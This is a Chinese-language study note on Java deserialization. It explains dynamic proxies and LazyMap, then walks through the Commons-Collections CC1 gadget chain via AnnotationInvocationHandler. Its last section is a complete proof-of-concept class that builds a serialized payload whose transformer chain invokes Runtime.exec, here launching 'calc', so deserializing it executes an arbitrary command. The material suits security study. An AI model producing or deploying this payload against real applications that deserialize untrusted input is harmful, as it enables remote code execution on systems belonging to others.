Java对象代理

Java 可以使用 java.reflect.Proxy 实现对象方法的代理,即调用这个方法之前再调用一些别的函数,

  1. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

如下是P牛给的代理类,需要实现invoke方法

  1. public class ExampleInvocationHandler implements InvocationHandler {
  2. protected Map map;
  3. public ExampleInvocationHandler(Map map){
  4. this.map = map;
  5. }
  6. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
  7. if (method.getName().compareTo("get") == 0){
  8. System.out.println("Hook method: " + method.getName());
  9. return "Hacked Object";
  10. }
  11. return method.invoke(this.map, args);
  12. }
  13. }

运行demo:

  1. public class main {
  2. public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {
  3. Map map = new HashMap();
  4. ExampleInvocationHandler handler = new ExampleInvocationHandler(map);
  5. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
  6. map.getClass().getInterfaces(), handler);
  7. proxyMap.get("1");
  8. }
  9. }
  • 给map加了代理Handler,返回了代理类proxyMap

    LazyMap

    LazyMap也是对Map的一种装饰, 装饰之后的lazyMap具有慢加载的特质, 在调用其get方法时会触发transformer.transform的调用:
    生成一个LazyMap:
    1. Map lazyMap = LazyMap.decorate(map,transformerChain);
    2. lazyMap.get(0); -> transformerChain.transform(0);

    CC1 via LazyMap

    思路:
  1. 用transformer数组修饰Map生成LazyMap
  2. 触发LazyMap的get方法
    1. 触发LazyMap的get方法
    2. 可以使用AnnotationInvocationHandler类, 它就是一个代理类且AnnotationInvocationHandler#invoke中会调用memberValues的get方法. -> 随便代理一个Map对象即可
  3. 把proxyMap再用AnnotationInvocationHandler包装一下

调用链:

  1. AnnotationInvocationHandler#readObject
  2. -> (memberValues)proxyMap.entrySet();
  3. -> AnnotationInvocationHandler#invoke
  4. -> (memberValues)lazyMap.get()
  5. -> transformerChain.transform(0);

POC:

  1. package test.com.cc;
  2. public class cc1_lazyMap {
  3. public static byte[] payload() throws IOException, ClassNotFoundException,
  4. InvocationTargetException, InstantiationException, IllegalAccessException,
  5. NoSuchMethodException, NoSuchFieldException {
  6. // Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);
  7. // obj.exec("calc");
  8. Transformer[] transformers = new Transformer[]{
  9. new ConstantTransformer(Runtime.class),
  10. new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
  11. new Object[]{"getRuntime",null}),
  12. new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
  13. new Object[]{ null, null }),
  14. new InvokerTransformer("exec", new Class[]{String.class},
  15. new Object[]{"calc"}),
  16. };
  17. Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); // iTransformers
  18. Map map = new HashMap();
  19. Map lazyMap = LazyMap.decorate(map,transformerChain);
  20. // LazyMap在调用get方法的时候会触发transformer.transform
  21. map.put("value",1);
  22. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  23. Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
  24. constructor.setAccessible(true);
  25. InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, lazyMap);
  26. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
  27. lazyMap.getClass().getInterfaces(),handler);
  28. // proxyMap.put(1,1);
  29. Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
  30. f.setAccessible(true);
  31. f.set(transformerChain,transformers);
  32. Object payload = constructor.newInstance(Retention.class, proxyMap);
  33. return Serializer.Serialize(payload);
  34. }
  35. }